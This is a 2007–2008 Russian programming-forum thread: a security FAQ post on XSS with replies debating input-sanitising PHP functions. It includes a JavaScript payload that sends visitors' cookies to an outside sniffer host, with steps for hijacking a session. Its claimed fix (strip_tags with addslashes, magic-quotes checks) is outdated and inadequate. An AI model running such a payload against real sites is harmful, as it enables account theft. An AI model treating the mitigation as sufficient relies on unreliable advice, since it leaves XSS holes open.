ФорумПрограммированиеПыхнуть хотите?F.A.Q. → Безопасность.Часть 2.XSS уязвимость

Безопасность.Часть 2.XSS уязвимость

  • cage

    Сообщения: 429 Репутация: N Группа: Кто попало

    Spritz 20 августа 2007 г. 13:25

    Continue(см. предыдущий пост)

    1)
    Название : CSS(Сross Site Scripting,обычное название XSS,дабы не путать с Cascade Styles Sheet)
    Оценка: 9 баллов
    Краткий обзор :
    В своей распространенности не уступает,а местами даже превосходит SQL-иньекции.Позволяет злоумышленнику заходить на сайт под чужими логинами,и не дай бог этим логином будет Админ!Реже можно применять для комментирования всего HTML-кода,не позволяя ни одному из юзеров увидеть тему и комментарии
    Краткое описание,действие XSS
    XSS со всей смелостью можно назвать иньекцией,но весьма своеобразной,т.к. она осуществляет иньекцию кода.К примеру имеется текстовое поле,наподобие подписи под каждым вашим постом,т.е пишите пост,а снизу отображается написанная заранее вами фраза.Поле ни в какую не пропускает иньекцию,но действительно ли оно неуязвимо?Сейчас мы это проверим.Вдумайтесь вначале в логику подписи,ведь это просто-напросто предложение в некотором HTML-коде,поэтому попробуем написать вместо "you can see me only when die" небольшой скрипт на javascript

    <script>alert();</script>

    Для тех ,кто не знаком с этим языком,говорю,что она просто выводит на экран пустое сообщение.
    Замечание
    Обратите внимание,что скрипт я написал в одну строчку,чтобы автоматом не прибавлялись ненужные переносы строк,из-за которых скрипт не будет элементарно выполняться.
    - Ну и что?-можете сказать вы-где же тут уязвимость,где наши "халявные" логины,как вообще может client-side язык причинить что-то существенное у другого на компьютере?
    А вот чем..Большинство(даже сказал бы подавляющее большинство) сайтов используюет автоматический заход на сайт.Как же он осуществляется?Обычно ,с помощью кукисов.Информация в кукисе хранится чрезвычайно экзотическая,в том смысле,что там и есть информация,и как-будто бы и нет,потому как она жестоко зашифрована,так что расшифровывать рекомендую только маньякам.Но особенность и комичность ситуации в том,что элементарно,по-дестки скопировав содержимое кукиса другого персонажа в свой мы зайдем под его логином!Т.е. границы нашей задачи прорисовываются все более четче.Получить содержимое кукисов персонажа.Вот тут и выходит на первый план скромный javascript(заранее говорю,посмотрев на следующий код,не пугайтесь,все изложу по полочкам)

    <script>
    img = new Image();
    img.src = "http://s.netsec.ru/cage.gif"+document.cookie;
    </script>

    Прежде чем приступить к описанию этого кода,я хотел бы с вами поговорить о сниффере.Sniffer(в перев. англ. нюхач) - программа,"вынюхивающая" информацию о жертве,может быть различных видов,мы поговорим о web-sniffer.Элементарный скрипт на РНР,считывающий request-строку,и записывающий в БД,запоминает также ip и другую "мелочь".Сниффер на своем сервере имеет расширение gif,но благодаря настройкам .htaccess исполняется именно как РНР-файл,но чтобы не было подозрений,вначале дает редирект на картинку размером 1х1 пиксель.
    Внимание: Зарегистрировать свой сниффер вы можете по адресу http://s.netsec.ru
    Предположим мы зарегистрировали сниффер следующего адреса http://s.netsec.ru/cage.gif,логи его можно посмотреть зайдя на свой сниффер,используя зарегистрированный логин и пароль.К примеру набрав адрес
    http://s.netsec.ru/cage.gif?cage
    в логах сниффера мы получим строку cage!
    Теперь вернемся к нашему скрипту:
    В первой строке мы создаем объект рисунка,так называемую пустышку,во второй строке адресу этого русунка задаем адрес нашего сниффера + кукисы в request-строке с данного домена.Ву а ля!Зайдя на свой сниффер через полчаса(не забыв перед этим основательно попостить) вы увидите кучу информации,среди которой вы легко найдете куку!Поменяв значение своей куки на значение куки со сниффера и заного зайдя на сайт вы ощутите себя РиальнымКулХацкером!

    Меры защиты:
    Они основаны "кто на чем хочет",одни убирают вообще теги,другие заменяют их на квадратные скобки,3-и с помощью регулярных выражений преобразуют их в HTML-сущности.Я покажу вам первый способ,остальное,я уверен,вы сможете додумать сами(рекомендуемый способ 3-й в силу его эстетичности).
    Функцию ClearStr($str) из части 1 преобразуем в следущую сущность

    function ClearStr($str)
    {
    if(!get_magic_quotes_gpc())
    $str=addslashes(strip_tags($str));
    return trim($str);
    }



    Вот и все,теперь обрабатывая данные с помощью методов данного класса,вы избежите XSS-уязвимости
    To be continued…
  • cage

    Сообщения: 429 Репутация: N Группа: Кто попало

    Spritz 21 августа 2007 г. 1:39, спустя 12 часов 13 минут 19 секунд

    Фу…вроде готово)
  • adw0rd

    Сообщения: 22905 Репутация: N Группа: в ухо

    Spritz 24 августа 2007 г. 17:56, спустя 3 дня 16 часов 17 минут

    ну ну )))чето ты не очень XSS разобрал

    cage как всегда надо просто разбирать входящие данные…
    Я параноик и защищаю свои приложения от таких атак на 99%

    htmlspecialchars()
    strip_tags()
    addslashes()
    etc :)
    adw/0
  • adw0rd

    Сообщения: 22905 Репутация: N Группа: в ухо

    Spritz 5 сентября 2007 г. 2:59, спустя 11 дней 9 часов 2 минуты

  • cage

    Сообщения: 429 Репутация: N Группа: Кто попало

    Spritz 5 сентября 2007 г. 3:48, спустя 49 минут 33 секунды

    всем советую азнокомеццо
  • adw0rd

    Сообщения: 22905 Репутация: N Группа: в ухо

    Spritz 18 декабря 2008 г. 6:49, спустя 470 дней 4 часа

  • phpdude

    Сообщения: 26624 Репутация: N Группа: в ухо

    Spritz 18 декабря 2008 г. 6:55, спустя 5 минут 24 секунды

    пиздец. стока слов, а в единственном куске кода - ошибка. незачот одним словом.

    function ClearStr($str) 
    {
    if(!get_magic_quotes_gpc())
    {
    $str=addslashes($str);
    }
    return strip_tags(trim($str));
    }
    форматируйте код и перестанете писать глупости
    Сапожник без сапог
  • sap

    Сообщения: 2701 Репутация: N Группа: Кто попало

    Spritz 18 декабря 2008 г. 9:07, спустя 2 часа 12 минут 1 секунду

    Что это за уебанский код?

    function ClearStr($str)
    {
    if(get_magic_quotes_gpc())
    {
    $str=stripslashes($str);
    }
    return mysql_real_escape_string(strip_tags(trim($str)));
    }
  • phpdude

    Сообщения: 26624 Репутация: N Группа: в ухо

    Spritz 18 декабря 2008 г. 9:11, спустя 4 минуты

    sap, я всего лишь поправил ошибку в прошлом коде. рефакторить не стал ;)
    Сапожник без сапог
  • adw0rd

    Сообщения: 22905 Репутация: N Группа: в ухо

    Spritz 18 декабря 2008 г. 9:15, спустя 4 минуты 36 секунд

    Вот лучшая зашита, чистит лучше всех!


    function ClearStr ($str)
    {
    return '';
    }
    adw/0
  • phpdude

    Сообщения: 26624 Репутация: N Группа: в ухо

    Spritz 18 декабря 2008 г. 9:16, спустя 41 секунду


    Вот лучшая зашита, чистит лучше всех!


    function ClearStr ($str)
    {
    return '';
    }



    function ClearStr ($str) {}

    порефакторил ))
    Сапожник без сапог
  • sap

    Сообщения: 2701 Репутация: N Группа: Кто попало

    Spritz 18 декабря 2008 г. 9:18, спустя 2 минуты 1 секунду



    Вот лучшая зашита, чистит лучше всех!


    function ClearStr ($str)
    {
    return '';
    }



    function ClearStr ($str) {}

    порефакторил ))

    $str = '';
  • Trej Gun

    Сообщения: 5299 Репутация: N Группа: в ухо

    Spritz 18 декабря 2008 г. 9:27, спустя 9 минут 18 секунд


    throw new RunTimeExeption();
  • Patrick

    Сообщения: 506 Репутация: N Группа: Кто попало

    Spritz 18 декабря 2008 г. 9:29, спустя 1 минуту 42 секунды

    Может проще Jevix попробывать?
  • sap

    Сообщения: 2701 Репутация: N Группа: Кто попало

    Spritz 18 декабря 2008 г. 9:38, спустя 9 минут 1 секунду

    Нахрена какой-то проект, для замены двух функций?! Это маразм! Это уже верх маразма!

Пожалуйста, авторизуйтесь, чтобы написать комментарий!